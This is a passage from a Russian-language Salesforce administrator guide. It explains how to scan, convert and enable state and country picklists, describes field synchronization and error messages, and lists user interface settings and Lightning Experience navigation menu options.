Metadata API.

СМ. ТАКЖЕ:

Значения интеграции для раскрывающихся списков «Область» и «Страна»

Редактирование сведений об области и стране

Подготовка к сканированию данных и настроек «Область» и «Страна»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

Прежде чем преобразовать текстовые поля области и страны в стандартные
раскрывающиеся списки «Область» и «Страна», рекомендуем просканировать
организациюнаналичиевозможныхизменений. Такойпроцессобнаруженияпоказывает,
где и как ваши данные о стране и организации отображаются в вашей корпоративной
среде. Такой процесс обнаружения также показывает, где эти данные используются в
изменяемых пользовательских элементах, например в списковых представлениях и в
отчетах. Анализ результатов сканирования позволяет составить подробный план
преобразованияданных, обновлениянастроекивключенияподдержкираскрывающихся
списков «Область» и «Страна».

Каждая организация использует уникальный процесс обнаружения. Для одних
организацийпреобразование текстовых полей в стандартные раскрывающиеся спискиможет быть простыми быстрым.
Длядругихорганизаций, отличающихсяширокимиспользованиемметаданныхобластиистраны, преобразованиеможет
бытьсложнымидлительным. КомпанияSalesforceрекомендуетраннееичастоесканированиеорганизации, гарантирующее
беспрепятственный переход к новым спискам. Помните об этих принципах и рекомендациях.

• Сканирование не является преобразованием данных или исправлением ошибок в пользовательских элементах.
Преобразование данных и обновление настроек выполняются отдельно.

• Во время сканирования организация может использоваться в обычном режиме.

• Процесс сканирования определяет измененные управляемые пакеты, но не исправляет найденные ошибки.

• Сканирование не определяет формулы, содержащие метаданные области и страны.

• Правилапроверкиибизнес-правила, использующиефункциисравнения, непозволяютиспользоватьотображаемые
значения. Еслиправилапроверкиилибизнес-правиладляполейобластиилистраныиспользуютфункцию BEGINS,
CONTAINS, ISCHANGED или REGEX, рекомендуемиспользоватьфункцию ISPICKVAL со значениямикодаобласти
или страны в функциях сравнения.

• Сканирование не определяет личные списковые представления и отчеты, использующие метаданные области и
страны. Данные настройки должны быть обновлены пользователями вручную.

• Преобразованные интересы не сканируются. Значения параметров страны и области не обновляются для
преобразованных записей об интересах при включении списков для выбора страны или региона.

• Сканированиеорганизациидолжновыполнятьсянесколькораз. Чтобыубедиться висправлениинайденныхошибок
и отсутствии новых, рекомендуем повторить сканирование организации после обновления настроек.

СМ. ТАКЖЕ:

Сканирование данных и настроек «Область» и «Страна»

Раскрывающиеся списки «Область» и «Страна»
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Сканирование данных и настроек «Область» и «Страна»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для сканирования данных и
настроек «Область» и
«Страна»:
• «Изменение всех

данных»

И

«Создание документов»

Сканированиеорганизациинаналичие текстовых географических значенийпозволяет
определить области и способы использования текстовых географических данных в
текущихзаписях. Например, пользователимогутпросмотретьвсе сохраненныеварианты
текстового значения «Россия» («Российская Федерация», «РФ» и «RU», а также варианты
с ошибками, например, «Росийская Федерация»). Кроме того, сканирование позволяет
определить области использования географических данных в настройках, включая:

• Списковые представления

• Отчеты

• Правила проверки

• Настраиваемые кнопки и ссылки

• Бизнес-правила

• Шаблоны эл. почты

• Наборы полей

• Классы и триггеры Apex

• страницы Visualforce

Два сообщения эл. почты, содержащие ссылки на подробные отчеты (для измененных
адресныхданныхинастроек), будутотправленыпосле сканирования. Преждечемначать
преобразование текущих данных в значения раскрывающихся списков и обновление
настроек, рекомендуем внимательно просмотреть созданные отчеты.

1. В разделе «Настройка» введите «Раскрывающиеся списки "Область" и "Страна"» в поле «Быстрый поиск», затем
выберите «Раскрывающиеся списки "Область" и "Страна"».

2. Последовательно выберите «Сканировать!» и «Сканировать» на странице «Настройка раскрывающихся списков
"Область" и "Страна"».

3. Дождитесь сообщения эл. почты, содержащего результаты.

Время создания результатов определяется размером организации и сложностью ее настроек.

Прим.: Сообщения эл. почты, отправляемые с адреса noreply@salesforce.com, содержат следующуюстроку темы:
«Сканирование адресных данных Salesforce» или «Сканирование адресныхнастроек Salesforce». Если сообщения
эл. почты отсутствуют, убедитесь, что они не были заблокированыфильтром спама.

4. Чтобы просмотреть документ, содержащий отчет по измененным данным или настройкам, щелкните ссылку в
соответствующем сообщении эл. почты.

5. Щелкните ссылку «Просмотрфайла» на странице сведений о документе.
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СМ. ТАКЖЕ:

Раскрывающиеся списки «Область» и «Страна»

Подготовка к преобразованию данных «Область» и «Страна»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

Организация Salesforce, использующая текстовые значения области и страны, может
преобразовывать эти данные в стандартные значения раскрывающихся списков.
Преобразование текущих данных позволяет продолжить использование данных после
переключения на раскрывающиеся списки. Например, организация использует отчет,
сортирующийвсеинтересыторговыхпредставителейвМосковскойобластиисозданный
на основе значения раскрывающегося списка областей «Московская область». Чтобы
гарантировать добавление записей с текстовыми значениями области (например, МО,
Московская область и Мособласть) в отчет, текстовые данные области должны быть
преобразованы в стандартные значения раскрывающегося списка.

Преобразование текущих географических текстовых данных в стандартные значения
раскрывающихся списков позволяет обеспечить целостность данных после включения раскрывающихся списков в
организации. Присохранениизаписей, содержащих географические значения, которыеотсутствуютвраскрывающихся
списках, могут отображаться ошибки проверки. Кроме того, если записи, созданные до включения раскрывающихся
списков «Область» и «Страна», и записи, созданные посредством данных раскрывающихся списков, содержат разные
географические значения, то результаты отчетов могут быть неточными.

Преобразование данных выполняется системой Salesforce в следующем порядке: сначала страны, а затем области. Ниже
перечислены рекомендации по преобразованию.

• Сохраняйтеданныекакможночаще. Принеобходимостипроцесспреобразованияможетбыть завершенипродолжен
в любое время.

• Во время преобразования данных организация может использоваться в обычном режиме.

• Данные не могут быть преобразованы во время сканирования на наличие поврежденных данных и настроек или
развертывания раскрывающихся списков «Область» и «Страна».

• Если раскрывающиеся списки не включены для пользователей, то действия могут быть повторены или отменены в
любое время. Преобразование не может быть отменено после включения поддержки раскрывающихся списков.
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• ПрииспользованиифункцииData.com Cleanрекомендуемприостановить заданияпоочисткедо завершенияпроцесса
преобразования.

СМ. ТАКЖЕ:

Преобразование данных «Область» и «Страна»

Раскрывающиеся списки «Область» и «Страна»

Преобразование данных «Область» и «Страна»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для преобразования
текстовых данных «Область»
и «Страна»:
• «Изменение всех

данных»

Прежде чем преобразовать значения области и страны на странице «Настройка
раскрывающихся списков "Область" и "Страна"», настройте раскрывающиеся списки
дляорганизации. Такимобразом, послевключенияраскрывающихсясписковвсеновые
и обновленные записи используют указанное значение интеграции, обеспечивающее
согласованность и точность данных в организации.

При преобразовании текстовых географических данных в значения, поддерживаемые
раскрывающимися списками, рекомендуем выбрать конкретные текстовые значения и
стандартные значения для соотнесения. Например, выберите все варианты значения
«РФ» и замените значением «Россия».

Преобразование выполняется в следующем порядке: сначала страны, а затем области и
штаты.

Разрешаетсяпреобразовыватьнеболее 2 000 значенийстраныи 2 000 значенийобласти,
однакораскрывающиесясписки «Область» и «Страна», содержащиеболее 1 000 областей
или стран, могут снизить производительность системы.

1. В разделе «Настройка» введите «Раскрывающиеся списки "Область" и "Страна"» в
поле «Быстрый поиск», затем выберите «Раскрывающиеся списки "Область" и
"Страна"».

2. Щелкните «Преобразовать!» на странице «Настройка раскрывающихся списков
"Область" и "Страна"».
Система Salesforceоткрывает страницу «Преобразовать страны». Данная страницаотображает все текстовые значения
страны, используемые в организации, и количество использований каждого значения.

3. Установитефлажок «Изменить» напротивнужных значений. Например, установитефлажок «Изменить» напротив
всех вариантов значения «Россия».

4. Выберите нужную страну в области «Изменить на:» и нажмите кнопку «Сохранить в список изменений».

Прим.: Области и страны, соотнесенные с вариантом «Неизвестное значение», отображаются в записях. Тем
неменее, присохранениизаписеймогутотображатьсяошибки, кромеслучаевназначениякаждойнесохраненной
области или стране допустимого значения.

5. Повторите действия 3 и 4 для других значений страны (например, для значения «Канада»).
Система Salesforce отслеживает запланированные изменения в области «Список изменений».

6. Чтобы преобразовать значения областей, нажмите кнопку «Далее» после соотнесения всех стран.

Чтобы определить страну, связанную с областью илиштатом, воспользуйтесь столбцом «Страна происхождения».

7. Чтобы открыть страницу общих сведений о настройке, нажмите кнопку «Готово» на странице «Подтвердить
изменения». Чтобы преобразовать значения и включить поддержку раскрывающихся списков «Область» и «Страна»
в организации, нажмите кнопку «Готово: включить раскрывающиеся списки».
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Рекомендации по отмене

• Чтобы восстановить значения в списке изменений, щелкните ссылку «Отменить» на странице «Преобразовать
страны» или «Преобразовать области».

• Чтобыоткрытьстраницу «Преобразоватьстраны» иизменитьсоотнесениястран, нажмитекнопку«Назад»настранице
«Преобразовать области».

• При необходимости значения областей и стран могут быть преобразованы даже после нажатия кнопки «Готово».
Однако соотнесения не могут быть изменены после включения поддержки раскрывающихся списков.

СМ. ТАКЖЕ:

Раскрывающиеся списки «Область» и «Страна»

Включение и выключение раскрывающихся списков «Область» и «Страна»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения и
отключения
раскрывающихся списков
«Область» и «Страна»:
• «Изменение всех

данных»

Раскрывающиеся списки «Область» и «Страна» доступны пользователям сразу после
включения. Тем не менее, системе Salesforce может потребоваться некоторое время для
заполнения полей «Код ISO» текущих записей. Если поле области или страны
редактируетсядо заполненияполякода, топользователюпредлагается выбрать значение
кода.

1. В разделе «Настройка» введите «Раскрывающиеся списки "Область" и "Страна"» в
поле «Быстрый поиск», затем выберите «Раскрывающиеся списки "Область" и
"Страна"».

2. Чтобы включить поддержку раскрывающихся списков, щелкните «Включить» на
странице «Настройка раскрывающихся списков "Область" и "Страна"».

Прим.:

• Кроме того, раскрывающиеся списки «Область» и «Страна» могут быть
включены после преобразования текущих текстовых данных в значения
раскрывающихся списков. См. раздел «Преобразование данных "Область"
и "Страна"».

3. Чтобы отключить поддержку раскрывающихся списков, щелкните «Отключить»
на странице «Настройка раскрывающихся списков "Область" и "Страна"».

Важное замечание: Нижеперечисленыпоследствияотключенияраскрывающихсясписков «Область» и «Страна».

• Приналичиизаписей, которыене сохранялисьпосле включенияраскрывающихся списков, географические
значения заменяются исходными текстовыми значениями.

• При наличии записей, которые сохранялись после включения раскрывающихся списков, географические
значения интеграции заменяют исходные текстовые значения.

• Ссылки на раскрывающиеся списки «Область» и «Страна» в настройках (например, обновления полей
бизнес-правил, шаблоны эл. почты и страницы Visualforce) становятся недействительными.

• Столбцыифильтры, ссылающиесянаполяраскрывающихсясписковвотчетахисписковыхпредставлениях,
не отображаются.

СМ. ТАКЖЕ:

Раскрывающиеся списки «Область» и «Страна»

470

Раскрывающиеся списки «Область» и «Страна»Настройка и обслуживание организации Salesforce



Логика синхронизации полей раскрывающихся списков «Область» и «Страна»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

Присохранениизаписейсозначениямираскрывающихсясписков «Область» и «Страна»
система Salesforce синхронизирует значения интеграции и кода записей для областей и
стран. Пользователи не могут редактировать значения интеграции областей или стран
на страницах сведений о записях. При необходимости значения интеграции областей
или стран записей могут быть отредактированы только посредством бизнес-правил,
кода Apex, интеграций API и т. д.

РезультатИзменение

Система Salesforce обновляет значение
интеграции области или страны записи
для соответствия коду.

Пользователь обновляет код области или
страны записи допустимым значением.

Система Salesforce обновляет код области
или страны записи для соответствия
значению интеграции.

Пользователь обновляет значение
интеграции области или страны записи
допустимым значением.

Система Salesforce удаляет код области
записи, а также значения интеграции
области и страны.

Пользователь удаляет код страны записи,
но не удаляет соответствующий код
области.

Изменениянесохраняются. Пользователю
отображается сообщение об ошибке.

Пользователь создает или обновляет
запись со значениями области и страны.
Новая область не соответствует новой
стране.

Изменениянесохраняются. Пользователю
отображается сообщение об ошибке.

Пользователь обновляет значения
интеграцииикодаобластиилистраныдля
текущей записи. Новые значения
интеграции и кода не совпадают.

Система Salesforce обновляет значение
интеграцииновойзаписидлясоответствия
значению кода.

Пользователь создает запись с
несовпадающимизначениямиинтеграции
и кода области или страны.

СМ. ТАКЖЕ:

Раскрывающиеся списки «Область» и «Страна»

Значения интеграции для раскрывающихся списков «Область» и «Страна»

Сообщения об ошибках в раскрывающихся списках «Область» и «Страна»
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Сообщения об ошибках в раскрывающихся списках «Область» и «Страна»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

При сохранении записей, содержащих несовпадающие значения кода и текстовые
значения для областей или стран, могут возникать разные ошибки. Данные сообщения
об ошибках разъяснены ниже.

ПричинаОшибка

Код страны не соответствует текущей
стране.

Поле содержит недопустимую страну

Значение интеграции страны не
соответствует текущей стране. Или
значение страны соотнесено с вариантом

Данная страна может отображаться
правильно, носодержитошибку. Выберите
нужнуюстрануизспискадоступныхстран.

«Неизвестное значение» во время
преобразования данных.

Значения кода и интеграции
соответствуют разным областям или
странам.

Поле содержит значение интеграции,
которое не соответствует коду ISO

Запись содержит значение кода области
или интеграции, но не содержит код

Областьможетбытьвыбранатолькопосле
выбора страны

страны. Областьнеможетбыть сохранена
без соответствующей страны.

Значения кода области и интеграции
соответствуют области другой страны.

Поле содержит область, которая не
поддерживается выбранной страной

Код области не соответствует текущей
области.

Поле содержит недопустимую область

СМ. ТАКЖЕ:

Раскрывающиеся списки «Область» и «Страна»

Значения интеграции для раскрывающихся списков «Область» и «Страна»

Логика синхронизации полей раскрывающихся списков «Область» и «Страна»
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Настройка параметров пользовательского интерфейса

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступные параметры
пользовательского
интерфейса определяются
используемой версией
Salesforce.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для изменения параметров
пользовательского
интерфейса:
• «Настройка

приложения»

1. Введите строку «Интерфейс пользователя» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Интерфейс пользователя».

2. Чтобы изменить параметры организации, установите или снимите каждыйфлажок.

3. Сохраните внесенные изменения.

Параметры пользовательского интерфейса
Включить свертываемые разделы

Свертываемые разделы позволяют пользователям сворачивать или разворачивать
разделыстраницсведенийо записях спомощьюзначка стрелкинапротив заголовка
нужного раздела. При включении свертываемых разделов убедитесь, что заголовки
разделов отображаются для каждого макета страницы. Разделы отображаются
развернутымиилисвернутымидоизмененияпараметров соответствующейвкладки.
Еслиорганизацияиспользует типызаписей, то система Salesforce запоминаетразные
настройки для каждого типа записи.

Показать быстрое создание
Область «Быстрое создание» начальной страницы вкладки позволяет создавать
записи путем ввода основных данных. По умолчанию данная область отображается
наначальныхстраницахвкладок «Интересы», «Организации», «Контакты», «Прогнозы»
и «Возможности». При необходимости настройте параметры отображения области
«Быстрое создание» на всех начальных страницах соответствующих вкладок.

Прим.: Параметр «Показать быстрое создание» также влияет на возможность создания записей посредством
диалогового окна поиска. Например, если данный параметр включен, то пользователи могут создавать
организации посредством диалогового окна поиска организаций при создании или редактировании контакта.
Диалоговое окно поиска позволяет создавать записи только при условии доступности функции быстрого
создания для выбранного типа записи. Кроме того, несмотря на доступность всем пользователям, область
«Быстрое создание» может использоваться только при наличии соответствующего полномочия «Создание».

Включить всплывающие сведения
Всплывающие сведения — это интерактивная область наложения, содержащая подробные сведения о записи и
отображающаясяпринаведенииуказателямышинанужнуюзапись в списке «Недавние элементы» набоковойпанели
или в поле поиска на странице сведений о записи. Пользователи могут просматривать сведения о записи перед
нажатием кнопки «Просмотр» для вызова страницы сведений о записи или кнопки «Правка» для вызова страницы
редактирования. Поля, отображаемые во всплывающих сведениях, определяются макетом мини-страницы записи.
Поля, отображаемые во всплывающих сведениях о документе, не подлежат настройке.Данныйпараметр включен по
умолчанию.

Прим.: Просмотр всплывающих сведений о записи доступен только при наличии соответствующего общего
доступа к записи и необходимых параметров безопасности для полей макета мини-страницы.

Включить всплывающие ссылки связанного списка
Всплывающие ссылки связанного списка отображаются вверху страниц сведений о записях или настраиваемых
объектахвменю «Настройка». Принаведенииуказателямышинавсплывающуюссылкуотображаетсясоответствующий
связанныйсписокиколичестводоступныхзаписейвинтерактивнойобластиналожения, поддерживающейбыстрый
просмотр и управление элементами связанного списка. Кроме того, данный тип ссылок поддерживает быстрый
переход к содержимому связанного списка без прокрутки страницывниз. Флажок «Включить всплывающие ссылки
связанного списка» установлен по умолчанию.
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Включить отдельную загрузку связанных списков
Если данный параметр включен, то основные сведения о записи отображаются немедленно. А процесс загрузки
данных связанного списка отображается посредством индикатора. Функция отдельной загрузки позволяет повысить
производительность страниц сведений о записях при использовании большого количества связанных списков. По
умолчаниюданныйпараметротключен.Параметрыотдельнойзагрузкисвязанныхсписковнедействуютдля страниц
Visualforce, портала самообслуживания и других страниц, макетом которых вы не можете управлять.

Включить отдельную загрузку связанных списков внешних объектов
Если данный параметр включен, связанные списки внешних объектов загружаются отдельно от основных сведений
о записи и связанных списков стандартных и настраиваемых объектов. Внешние объекты похожи на настраиваемые
объекты, носоотносятся с данными, хранящимися внеорганизации Salesforce.Взависимостиот доступностивнешней
системыисетевойзадержки, извлечениевнешнихданныхможетзанятьнекотороевремя. Поэтомупараметр «Включить
отдельную загрузку связанных списков внешних объектов» включенпоумолчанию. Параметрыотдельнойзагрузки
связанныхсписковнедействуютдлястраницVisualforce, порталасамообслуживанияидругихстраниц, макетомкоторых
вы не можете управлять.

Включить встроенное редактирование
Функция встроенного редактирования позволяет быстро изменять значения полей прямо на странице сведений о
записи. Данный параметр включен по умолчанию и применяется ко всем пользователям организации.

Прим.: Данныйпараметрневключаетвстроенноередактированиедляпрофилей. Установитефлажок «Включить
расширенные списковые представления профиля» в меню «Настройка».

Включить расширенные списки
Расширенные списки позволяют быстро просматривать, настраивать и редактировать данные списка, гарантируя
повышение ежедневной производительности. При использовании вместе с параметром «Включить встроенное
редактирование» данный параметр позволяет редактировать записи прямо в списке. Данный параметр включен по
умолчанию.

Прим.: Данный параметр не включает расширенные списки для профилей. Установите флажок «Включить
расширенные списковые представления профиля» в меню «Настройка».

Включить тему пользовательского интерфейса Salesforce Classic 2010

Этотпараметрне относится к Lightning Experience. Вэтом случае «темапользовательскогоинтерфейса Salesforce Classic
2010» относится к более новой версии Salesforce Classic, которая использовалась непосредственно перед Lightning
Experience. Привыборе данногопараметра включаетсяобновленныйинтерфейс Salesforce Classic. Еслиегоотключить,
включается тема пользовательского интерфейса Salesforce Classic 2005 — классический интерфейс Salesforce.

Тема пользовательского интерфейса Salesforce Classic 2010 доступна только при использовании поддерживаемых
браузеров.

Тема пользовательского интерфейса Salesforce Classic 2010 не поддерживается на порталах и вкладке «Консоль».

Включить организатор панели вкладок
Организатор панели вкладок определяет порядок отображения вкладок на панели основной вкладки во избежание
горизонтальной прокрутки страницы. Организатор динамически определяет количество вкладок, доступное для
отображенияпоширинеокнаобозревателя, иформируетраскрывающийсясписоквкладок, которыенепоместились
на экране.

Прим.: Обратите внимание на перечисленные ниже ограничения.

• Организатор панели вкладок недоступен на партнерском или клиентском портале.

• Организатор панели вкладок доступен только при использовании темы пользовательского интерфейса
Salesforce Classic 2010. Данная функция может быть включена в организациях, использующих тему
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пользовательскогоинтерфейса Salesforce Classic 2005, нобудетдоступнапользователямтолькопослеактивации
новой темы.

• Организатор панели вкладок не поддерживается обозревателем Internet Explorer 6.

Включить списковые представления для печати
Списковые представления для печати позволяют пользователям печатать списковые представления. Если данный
параметр включен, то ссылка «Версия для печати», доступная в любом списковом представлении, открывает новое
окно обозревателя, содержащее текущее списковое представление в готовом для печати формате. Данная ссылка
отображается напротив ссылки «Справка для этой страницы» в цветном заголовке страницы.

Включить проверку орфографии
Доступно во всех версиях. Если данный параметр включен, то кнопка «Проверить орфографию» отображается в
определенных областях приложения, предназначенных для ввода текста (например, страницы отправки сообщений
эл. почтыили создания событий, задач, обращений, примечанийирешений). Нажатие кнопкиинициирует проверку
орфографии текста. Функция проверки орфографии поддерживает не все языки, используемые системой Salesforce.
Например, функция проверки орфографии не поддерживает тайский и русский языки, а также некоторые языки с
двухбайтовой кодировкой символов (японский, корейский и китайский).

Включить проверку орфографии для задач и событий
Доступно во всех версиях. Данный параметр активирует кнопку «Проверить орфографию» при создании или
редактированиизадачилисобытий. Функцияпроверкиорфографиианализируетполе событий «Описание» иполе
задач «Комментарии».

Включить настройку страниц профиля пользователя Chatter
Данный параметр позволяет администраторам настраивать вкладки на странице профиля пользователя Chatter. Под
настройкой подразумевается добавление настраиваемых вкладок или удаление стандартных вкладок. В противном
случае пользователям отображаются только вкладки «Лента» и «Общие сведения».

Параметры боковой панели
Включить свертываемую боковую панель

Свертываемая боковая панель позволяет отображать или скрывать боковую панель на каждой странице,
поддерживающей боковую панель. Если данный параметр включен, то свертываемая боковая панель доступна всем
пользователям организации; параметры отображения боковой панели определяются каждым пользователем
индивидуально. Боковая панель может отображаться всегда или по мере необходимости путем выбора границы
свернутой боковой панели.

Прим.: Призакрытиибоковойпанелипользователицентраобработкивызововнемогутпросматриватьвходящие
вызовы.

Совет: Еслиорганизацияиспользуетподразделения, рекомендуем зафиксироватьи всегдаотображатьбоковую
панель, поддерживающую быстрый доступ к раскрывающемуся списку «Подразделения».

Показывать компоненты настраиваемой боковой панели на всех страницах
При наличии настраиваемых макетов начальной страницы, содержащих компоненты боковой панели, данный
параметр предоставляет доступ к компонентам боковой панели на всех страницах всем пользователям организации.
Чтобы разрешить отображение компонентов боковой панели на всех страницах только для определенных
пользователей, назначьте им полномочие «Показывать настраиваемую боковую панель на всех страницах».
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Параметры календаря
Включить всплывающие ссылки начальной страницы для событий

Данный параметр активирует всплывающие ссылки в разделе «Календарь» вкладки «Начальная страница». Чтобы
просмотреть интерактивную область наложения сведений о событии, наведите указатель мыши на тему нужного
событиянавкладке «Начальная страница». Данныйпараметрвключенпоумолчанию. Обратите внимание, чтоданный
параметр применяется только ко вкладке «Начальная страница»; всплывающие ссылки всегда доступны в других
представлениях календаря.

Поля, доступныевобластяхналожениядляпросмотраиредактирования сведенийо событиях, определяютсямакетом
мини-страницы.

Прим.: При создании событий на весь день рекомендуем добавить поле «Событие на весь день» в макет
мини-страницы событий.

Включить редактирование с помощьюперетаскивания для представлений календаря
Данныйпараметр активируетфункциюперетаскиваниясобытийводнопользовательскихпредставленияхкалендаря
«Просмотр дня» и «Просмотр недели». Данная функция позволяет повторно планировать события без закрытия
текущей страницы. Данный параметр включен по умолчанию.

Прим.: Включение данного параметра может снизить скорость загрузки представлений календаря.

Включить быстрое создание событий для представлений календаря
Данныйпараметр активируетфункциюсоздания событий впредставлениях календаря «Просмотр дня» и «Просмотр
недели» путемдвойногонажатияотдельнойвременнойобластииввода сведенийособытиивинтерактивнуюобласть
наложения. Поля, доступныевобластяхналожениядляпросмотраиредактированиясведенийособытиях, определяются
макетом мини-страницы.

Обратите внимание, что повторяющиеся и многопользовательские события не поддерживают функцию быстрого
создания событий в представлениях календаря.

Включить планирование с помощьюперетаскивания для списковых представлений
Данный параметр активирует функцию создания событий, связанных с записями, путем перетаскивания записей из
списковыхпредставленийвпредставлениякалендаря «Просмотрнедели» ивводасведенийособытиивинтерактивную
областьналожения. Поумолчаниюданныйпараметротключен. Поля, доступныевобластяхналожениядляпросмотра
и редактирования сведений о событиях, определяются макетом мини-страницы.

Включить всплывающие ссылки для списка «Мои задачи»
Данный параметр активирует всплывающие ссылки для задач в разделе «Мои задачи» вкладки «Начальная страница»
и в представлении календаря «Просмотр дня». Данный параметр включен по умолчанию. Чтобы просмотреть
интерактивную область наложения сведений о задаче, наведите указатель мыши на тему нужной задачи.

Сведения, отображаемые в областях наложения, определяются администратором.

Параметры имен

Прим.: Данные параметры имен могут быть включены путем обращения в службу поддержки Salesforce.

Включить отчества для имен пользователей
Данныйпараметрпозволяетотображатьполе «Отчество», котороедополняетимяпользователя, связанногос записью.

Включить суффиксы для имен пользователей
Данныйпараметрпозволяетотображатьполе «Суффикс», котороедополняетимяпользователя, связанногос записью.
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Параметры настройки
Включить расширенный редактор макетов страниц

Если данный параметр включен, то расширенный редактор макетов страниц заменяет текущий интерфейс
редактирования макетов страниц многофункциональным редактором WYSIWYG, поддерживающим все функции
исходного редактора макетов страниц и некоторые дополнения.

Включить расширенные списковые представления профиля
Данный параметр активирует расширенные списковые представления ифункцию встроенного редактирования для
страниц со списком профилей. Функция встроенного редактирования в расширенных списковых представлениях
профиля позволяет одновременно управлять несколькими профилями.

Включить расширенный пользовательский интерфейс профиля
Данный параметр активирует расширенный пользовательский интерфейс профиля, поддерживающий удобное
перемещение, поиск и изменение параметров отдельного профиля.

Включить Streaming API
Данный параметр активирует интерфейс Streaming API, позволяющий принимать безопасные уведомления об
изменении данных, соответствующих заданному запросу SOQL. Данное поле выбрано по умолчанию. Если данный
флажок не отображается, убедитесь, что используемая версия Salesforce поддерживает API-доступ. Если используемая
версия Salesforce поддерживает API-доступ, но данныйфлажок все равно не отображается, обратитесь в компанию
Salesforce.

Включить усечение настраиваемого объекта
Данныйпараметр активируетфункциюусечениянастраиваемыхобъектов, поддерживающуюнеобратимое удаление
всех записей настраиваемого объекта без удаления самого объекта и его метаданных.

Включить улучшенный пользовательский интерфейс настройки
Если он отключен, пользователи с Salesforce Classic имеют доступ к своим личным параметрам из меню «Настройка».
Если включен, пользователи с Salesforce Classicимеют доступ к своимличнымпараметрамизменю «Моипараметры»,
доступноевменюпривыбореименипользователя. Кроме того, ссылка «Настройка» переносится вменюприложений
Force.com. Преждечемизменитьданныйпараметр, рекомендуемуведомитьпользователейорганизацииопредстоящих
изменениях.

Включить расширенный поиск по меню «Настройка» (бета)
Данный параметр позволяет пользователям выполнять поиск по страницам меню «Настройка», настраиваемым
профилям, наборам полномочий, общедоступным группам, ролям и пользователям прямо на боковой панели меню
«Настройка». В противном случае пользователи могут выполнять поиск только по страницам меню «Настройка».

Прим.:

• Данный выпуск поддерживает бета-версиюфункции «Расширенный поиск по меню "Настройка"»,
являющуюся полноценной, но имеющую некоторые ограничения.

• Некоторые элементы, доступные для поиска (например, наборы полномочий), поддерживаются не всеми
версиями. Пользователинемогут выполнятьпоискпоэлементам, которыенеподдерживаютсяиспользуемой
версией системы.

Дополнительные параметры
Активировать расширенные стандартные письма

Данныйпараметр активируетфункцию «Расширенные стандартныеписьма» для организации. Еслиданныйфлажок
установлен, то ссылка «Пакетноесозданиестандартныхписем»отображается вобласти «Инструменты» начальных
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страницорганизаций, контактовиинтересов. Крометого, функция «Расширенныестандартныеписьма»используется
для выполнения отдельных рассылок, запрошенных из связанного списка записи «Журнал действий».

Доступкфункции «Расширенныестандартныеписьма»предоставляется толькопо запросу. Чтобывключитьданную
функцию, обратитесь в службу поддержки Salesforce.

Настраиваемые меню навигации Lightning Experience

ВЕРСИИ

Доступно в версиях:
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Professional Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

По сути, меню навигации — это ярлык для прямого доступа к наиболее часто
используемымфункциям Salesforce. Вы можете создавать различные меню для разных
типов пользователей. Что важнее всего для торговых представителей? Организации и
события. Что насчет менеджеров по продажам? Наверху списка находятся отчеты и
панели мониторинга Вы можете добавлять, удалять и перемещать элементы, чтобы
пользователимоглипопадатьвнужныеместа системыоднимщелчкоммыши. Всредстве
запуска приложений имеются и другие элементы, такие как связанные приложения и
приложения из каталога App Exchange.

Элементы меню навигации Lightning Experience

Большинство элементов, используемых средством запуска приложений, могут
использоваться в меню навигации.

Создание меню навигации с помощью мастера создания меню навигации Lightning Experience

Мастер создания меню навигации позволяет легко создавать настраиваемые меню Lightning Experience. Он помогает
выбрать элементы меню навигации и назначить пользовательские профили.

Замечания по меню навигации Lightning Experience

Это увлекательная часть. Нужно решить, какие элементы разместить в менюнавигации. Помните об этих замечаниях
при создании настраиваемых меню навигации Lightning Experience для своей организации.

Элементы меню навигации Lightning Experience

ВЕРСИИ

Доступно в версиях:
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Professional Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Большинство элементов, используемых средством запуска приложений, могут
использоваться в меню навигации.

• Настраиваемые объекты и приложения в организации

• Большинство стандартных объектов

• вкладки Visualforce

• Вкладки компонентов Lightning

• Приложения холста на вкладках Visualforce

• Веб-вкладки

Прим.: Связанныеприложения, такиекак Gmail™и Microsoft Office 365™, илистраницы
Lightning нельзя добавить в меню навигации. Доступ к ним осуществляется с
помощью средства для запуска приложений.
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Создание меню навигации с помощью мастера создания меню навигации Lightning
Experience

ВЕРСИИ

Доступно в версиях:
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Professional Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Мастер создания меню навигации позволяет легко создавать настраиваемые меню
Lightning Experience. Он помогает выбрать элементы меню навигации и назначить
пользовательские профили.

Чтобы запустить мастер, в меню «Настройка» в поле быстрого поиска введитеМеню
навигации.

Сначала присвойте имя для меню навигации.

После этого мастер покажет список всех элементов, которые могут входить в меню
навигации. Перетащите нужные элементы из списка доступных элементов слева (1) в
список элементов меню навигации справа (2). Чтобы изменить порядок следования
элементов в меню, перетащите их. Чтобы удалить элементы, перетащите их обратно в
список доступных элементов слева. По завершении список элементов менюнавигации
справа будет отражать порядок следования этих элементов в меню навигации.

Затем выберите пользовательские профили (1), для которых должно отображаться это меню навигации (2).
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Готово! Вы создали меню навигации.

Замечания по меню навигации Lightning Experience

ВЕРСИИ

Доступно в версиях:
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Professional Edition,
Performance Edition,
Unlimited Edition и
